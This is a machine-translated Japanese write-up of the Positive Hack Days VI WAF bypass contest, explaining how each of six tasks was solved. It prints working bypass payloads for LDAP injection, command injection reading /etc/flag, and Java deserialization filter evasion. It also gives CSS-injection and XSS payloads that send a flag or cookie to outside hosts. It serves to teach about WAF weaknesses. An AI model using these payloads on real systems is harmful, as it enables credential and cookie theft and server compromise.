Positive Hack Days VIでのWAFバイパスコンテスト

Positive Hack Daysの実用的な安全性に関する国際フォーラムの枠組みの中で、WAFバイパスコンテストが再び開催されました。 以前と同様に、参加者のタスクは、脆弱なWebアプリケーションを保護するPT Application Firewallチェックを回避してタスクを解決することでした。 各タスクには、特別に作成された構成エラーが原因で発生した回避策が組み込まれています。 各タスクの目標は、データベース、ファイルシステム、または特別なボットに発行されたCookieに保存できるフラグを取得することです。 カットの下でそれらを解決するためのタスクと方法の説明。

















1.m0n0l1th





この割り当てでは、参加者はLDAPインジェクションを実行し、LDAPストアから管理者パスワードを取得する必要がありました。 LDAPリクエストを直接入力するユーザー名入力フォームがありました。







admin)(|(password=*)



などの標準ベクトルは正規表現によってブロックされましたが、リクエスト内のオペランド間の空白を使用してバイパスが可能でした:



admin)(%0a|(password=*)







さらに、パスワードを取得するには、各文字に選択方法を適用する必要がありました。



admin)(%0a|(password=a*)

admin)(%0a|(password=a3*)

admin)(%0a|(password=a3b*)

admin)(%0a|(password=a3b8*)

admin)(%0a|(password=a3b8b*)

admin)(%0a|(password=a3b8ba*)



...








2.p0tat0





タスクを開くと、参加者は次のページを受け取りました。







HTMLコードの一部は次のとおりです。



 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Caesar was here</title><link rel="stylesheet" href="/index.php/../styles.css"><meta name="flag" content="browser bot has flag ;)"><script src="/index.php/../scripts.js"></script></head>
      
      







何に注意する必要がありますか? まず、DOCTYPEでHTML一時構文を宣言することについて。 これは、CSSライターの解析が機能することを意味します。 2番目の機能は、リンクタグとスクリプトタグの間にフラグが存在し、ラインフィードがないことです。



攻撃者がこの静的ページに何らかの形で影響を与えることはできないように見えますが、/ index.php / testの形式のリクエストを送信すると、パスがリンクおよびスクリプトタグに反映されていることがわかります。 同時に、エラー404の代わりに同じページが表示されます。これは、Apache Webサーバーの機能により可能です(ただし、この動作はそれだけではありません)。



XSSと非常に似ていますが、引用符と開始タグはエスケープされました。 このタスクを解決するには、別の方法、つまりRelative Path Overwriteを適用する必要がありました。 RPOは、ブラウザーでの緩やかなCSS解析を悪用します。これにより、被害者はHTMLドキュメントでのCSSスタイルの挿入を正しく解釈できます。 埋め込みCSSスタイルを使用して、ユーザーの個人データをサードパーティのサーバーに送信できます。 注入自体はパスを介して行われます。



/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/







このリクエストにより、ブラウザは途中でCSSスタイルをロードします。



/index.php/%0a*{}%0abody{background:red}%0a//../styles.css







HTMLコード間の応答では、ブラウザーに有効なCSSスタイルが表示されます。



 <link rel="stylesheet" href="/index.php/ *{} body{background:red} /styles.css/../styles.css">
      
      







このタスクの戦闘の悪用には、攻撃者の制御下にある2つのテキストの間にあるサードパーティのサーバーにフラグを送信できるCSSプロパティの使用が含まれます。 例:



/index.php/')%7D%250a%250a*%7B%7D%250abody%7Bbackground:url('http://test.com/







ただし、割り当てでは、別のサイトにリクエストを送信できるCSSプロパティのキーワードを禁止しました。







しかし、すべてではありません:) HTTP Leaksプロジェクトにリストされているすべての既知のメソッドを調べて、ソースコードにリストがあることに注意すると、リストスタイルプロパティがブロックされていないことがわかります。



/index.php/')%7D%250a%250a*%7B%7D%250abody%7Blist-style:url('http://test.com/







そのようなリクエストは、PhantomJS上のボットにフラグを送信するように強制します。







3.d3rr0r1m





従来、WAFバイパスコンテストには、XXEをバイパスするタスク、つまり外部XMLエンティティのインジェクションが含まれていました。 ただし、今回は誰もチェックを回避して固有のバイパスを見つけることができませんでした。 外部の通常のエンティティ、パラメトリックエンティティ、DOCTYPEなどを介して、インジェクションのバリエーションがブロックされました。異なるエンコーディングのXML処理に注意する必要がありますcat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml



cat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml



、BOMタグの削除中に、チェックをバイパスしてファイルシステムからフラグを読み取ることができます。







4.f0dn3





このタスクでは、参加者はファイルからTo Doリストを保存および復元する方法を知っている簡単なToDoマネージャーにアクセスしました。







このファイルを16進エディターで開くと、シリアル化されたJavaオブジェクトの内部にあるものをすぐに理解できます(先頭に0xacのマジックバイトがあります)。







脆弱なライブラリがある場合、ユーザーからのJavaオブジェクトをデシリアライズすると、サーバー上で任意のコマンドが実行される可能性があります。 CLASSPATHには、特にcommons-collections 4が含まれており、RCEが許可されています。 ただし、PT Application Firewall側では、この脆弱性を実装するための一般的なツールであるysoserialエクスプロイトに存在する2行を禁止しています。 最初の行は実際にはysoserialで、2行目はiTransformersであり、5つのysoserialエクスプロイトのうち3つに存在します。 この問題を解決するには、文字列「iTransformers」のないエクスプロイトの1つを使用しながら、文字列「ysoserial」を除いて、クラスとパッケージの名前を変更する必要がありました。







5. n0ctf





ジョブページには、IPアドレス入力フォームを使用した簡単なpingサービスがありました。 ここで引用符を試せないのはなぜですか? そして実際、ユーザーデータはシステムコマンドの呼び出しに直接陥りました。 コマンドを実装するほとんどの方法がブロックされたという事実にもかかわらず、次のオプションが可能になりました。



8.8.8.8|${IFS}cat /etc/flag

-c 1 ya.ru;/*in/cat /etc/flag

1.2.3.4|${a-cat /etc/flag}












6. c1tyf





このタスクを解決するには、JavaScriptコードのコンテキストでクロスサイトスクリプティングチェックをバイパスする必要がありました。 検証アルゴリズムは、Positive Hack Days VIで発表したレポート「 Waf.js:JavaScriptを使用してWebアプリケーションを保護する方法 」の一部として、私とデニスコレゴフによって説明されました。 要するに、異なるコンテキストのユーザーデータを代用し、何が起こったのかをJavaScriptコードとして解析しようとしています。 ASTツリーが構築され、その中に禁止ノードが存在する場合、そのような要求をブロックします。 たとえば、最も単純なオプション"+alert(1)+"



はブロックされます。これは、ASTツリーで二重引用符を使用してコンテキストに置換した後、禁止されたCallExpressionノードが表示されるためです。 ただし、コンテストでは、WithStatementノードが禁止ノードのリストから欠落していたため、withステートメントを使用してチェックをバイパスできました。



http://c1tyf.waf-bypass.phdays.com/?name=\"};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://robotsfreedom.com/phdays/?a=test'%2bk;};}}//;







そして勝者は...





コンテストで3回連続で優勝したのはGeorgy Noseevich@webpentest )で、iPad Air 2を賞品として獲得しました。このコンテストのもう1人のレギュラー参加者であるIvan Novikovd0znpp )は2位になり、毎年Burp Suite Proライセンスを獲得しました。 3位とお土産PHDaysはVladas Bulavas (vladvis)に行きました。



そして最後に、いくつかのパイ。 コンテスト中に、 31,412のリクエストがブロックされました。



攻撃の分類:









タスクの割り当て:









受賞者と参加したすべての人に感謝します!



Arseny ReutovRaz0r )、Igor Kanygin( akamajoris )、Dmitry Nagibin、Denis Kolegov、Nikolay Tkachenko、Pavel Sviridov、およびPT Application Firewallチーム。



All Articles